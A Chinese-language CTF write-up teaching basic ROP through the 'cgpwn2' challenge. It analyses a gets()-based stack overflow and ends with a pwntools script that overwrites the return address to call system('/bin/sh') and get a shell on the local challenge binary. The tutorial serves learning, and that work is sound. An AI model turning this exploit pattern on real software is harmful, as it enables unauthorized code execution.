Basic rop學習
- 基本ROP
- 簡單例題:cgpwn2
- 分析:
- exp:
基本ROP
主要思想是在堆疊緩沖區溢位的基礎上,利用程式中已有的小片段 (gadgets) 來改變某些暫存器或者變數的值,從而控制程式的執行流程,
我們控制執行程式已有的代碼的時候也可以控制程式執行好幾段不相鄰的程式已有的代碼 (也就是 gadgets),這就是我們所要說的 ROP,
ROP 攻擊一般得滿足如下條件:
程式存在溢位,并且可以控制回傳地址,
可以找到滿足條件的 gadgets 以及相應 gadgets 的地址,
簡單例題:cgpwn2
首先,ida反編譯main函式

可以看出,主要函式都在hello函式中,雙擊打開

可以看出,主要函式大部分都在后4行
查看源代碼

首先要求我們輸入一個名字,這個輸入通過fgets函式完成,最多輸入32h個字符到name區域
然后提示我們輸入一些資訊,通過gets函式完成輸入,輸入到s區域
name和s區域如下圖所示


name區域是一個34h字符的區域,s區域的起始位置是運行時距離堆疊幀0x26個
位元組的地方,大小不限
我們還可以看到有一個pwn函式

這個函式是利用系統呼叫列印"hehehe",存在一個call system
分析:
可以看到在hello函式中有一個部分我們用gets函式向堆疊的s區域讀取了字串,因此我們可以在使用輸入時讓輸入的字串覆寫堆疊上hello函式的回傳地址,讓程式執行完hello函式之后執行我們設計的部分
exp:
from pwn import *
from sys import *
context.log_level='debug'
context.arch = 'amd64'
p = process('./cgpwn2')
p.recvuntil("please tell me your name")
p.sendline("/bin/sh")
sys_addr=0x0804855a
name_addr=0x0804a080
payload = 'a'*0x26 + 'a'*4 + p32(sys_addr)+p32(name_addr)
p.recvuntil("hello,you can leave some message here:")
p.sendline(payload)
p.interactive()
執行就get shell了:

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/240953.html
標籤:其他
上一篇:冰河是誰?到底是干嘛的?
下一篇:畢業設計之 --- 停車管理系統
